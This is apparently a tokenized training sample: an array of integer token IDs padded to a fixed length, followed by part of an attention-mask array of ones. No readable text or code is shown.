2812, 402, 314, 4722, 2725, 3032, 370, 6527, 272, 6079, 626, 3509, 2556, 3595, 314, 3379, 16704, 1056, 1067, 14, 272, 1868, 3876, 63, 11611, 63, 2339, 275, 2513, 15720, 63, 1069, 63, 1100, 7, 272, 598, 12667, 51, 63, 11611, 63, 2339, 275, 2513, 15720, 63, 2966, 63, 3280, 7, 272, 598, 12667, 63, 17434, 275, 788, 751, 418, 339, 347, 636, 1250, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 12049, 2120, 1233, 543, 1627, 2368, 1041, 267, 1240, 275, 2400, 26, 1613, 8, 17679, 4476, 12, 291, 2843, 1250, 9308, 589, 12, 1011, 958, 9, 398, 327, 663, 1067, 267, 1067, 275, 2074, 14, 1935, 8, 277, 14, 9059, 63, 11611, 63, 2339, 12, 488, 9, 267, 6482, 275, 2074, 14, 1935, 8, 277, 14, 13808, 51, 63, 11611, 63, 2339, 12, 5009, 398, 340, 1067, 365, 488, 503, 965, 63, 1069, 63, 1100, 837, 288, 372, 1240, 342, 398, 543, 1145, 14, 396, 63, 1069, 63, 1100, 3682, 1100, 304, 288, 327, 663, 7992, 288, 367, 284, 315, 6482, 26, 355, 5371, 8, 71, 12, 284, 12, 6482, 59, 73, 566, 288, 327, 1240, 288, 754, 275, 1240, 342, 288, 327, 2112, 282, 4026, 298, 2364, 2, 880, 626, 288, 327, 1124, 32, 4399, 63, 1069, 1040, 12604, 787, 7934, 288, 327, 1145, 14, 1412, 63, 1310, 8, 1875, 63, 1310, 8, 1099, 503, 12381, 398, 372, 754, 339, 347, 4838, 63, 4146, 8, 277, 12, 1249, 29, 403, 12, 2074, 29, 403, 12, 1011, 3911, 304, 267, 327, 340, 4618, 14, 1935, 360, 1045, 63, 1069, 63, 1100, 297, 715, 304, 267, 291, 423, 2613, 63, 1069, 63, 1100, 8, 958, 9, 267, 291, 423, 2613, 63, 2966, 8, 958, 9, 267, 372, 1613, 8, 17679, 4476, 12, 291, 680, 4998, 63, 4146, 8, 589, 12, 2074, 12, 1011, 3911, 9, 339, 347, 4838, 8, 277, 12, 1249, 29, 403, 12, 2074, 29, 403, 12, 1011, 3911, 304, 267, 327, 340, 4618, 14, 1935, 360, 1045, 63, 1069, 63, 1100, 297, 715, 304, 267, 291, 423, 2613, 63, 1069, 63, 1100, 8, 958, 9, 267, 291, 423, 2613, 63, 2966, 8, 958, 9, 267, 372, 1613, 8, 17679, 4476, 12, 291, 680, 4998, 8, 589, 12, 2074, 12, 1011, 3911, 9, 339, 347, 7269, 8, 277, 12, 1249, 29, 403, 12, 2074, 29, 403, 12, 1011, 3911, 304, 267, 327, 340, 4618, 14, 1935, 360, 1045, 63, 1069, 63, 1100, 297, 715, 304, 267, 291, 423, 2613, 63, 1069, 63, 1100, 8, 958, 9, 267, 291, 423, 2613, 63, 2966, 8, 958, 9, 267, 372, 1613, 8, 17679, 4476, 12, 291, 680, 7154, 8, 589, 12, 2074, 12, 1011, 3911, 9, 339, 347, 485, 2613, 63, 1069, 63, 1100, 8, 277, 12, 2074, 304, 267, 408, 22792, 1006, 314, 2556, 3595, 1453, 16704, 1056, 1067, 267, 465, 376, 4722, 1423, 370, 314, 2120, 14, 267, 408, 267, 340, 440, 965, 63, 1069, 63, 1100, 837, 288, 372, 398, 327, 2883, 17118, 370, 2368, 402, 520, 5247, 1705, 14182, 14, 396, 63, 1069, 63, 1100, 64, 267, 1067, 275, 469, 288, 283, 515, 356, 1056, 14, 515, 12, 288, 283, 1095, 63, 633, 356, 1056, 14, 633, 63, 1231, 12, 288, 283, 765, 356, 1056, 14, 765, 12, 288, 283, 2139, 356, 1211, 8, 1069, 14, 2139, 395, 267, 789, 267, 340, 15539, 315, 1056, 14, 633, 26, 288, 1067, 459, 1131, 63, 875, 418, 275, 1056, 14, 633, 7528, 1069, 14, 633, 14, 1623, 360, 18478, 435, 413, 15405, 398, 2074, 59, 277, 14, 9059, 63, 11611, 63, 2339, 61, 275, 1067, 339, 347, 485, 2613, 63, 2966, 8, 277, 12, 2074, 304, 267, 366, 275, 1052, 267, 367, 1315, 315, 291, 14, 13808, 63, 17434, 26, 288, 340, 2688, 8, 71, 12, 1315, 304, 355, 366, 59, 90, 61, 275, 2519, 8, 71, 12, 1315, 9, 267, 2074, 59, 277, 14, 13808, 51, 63, 11611, 63, 2339, 61, 275, 366, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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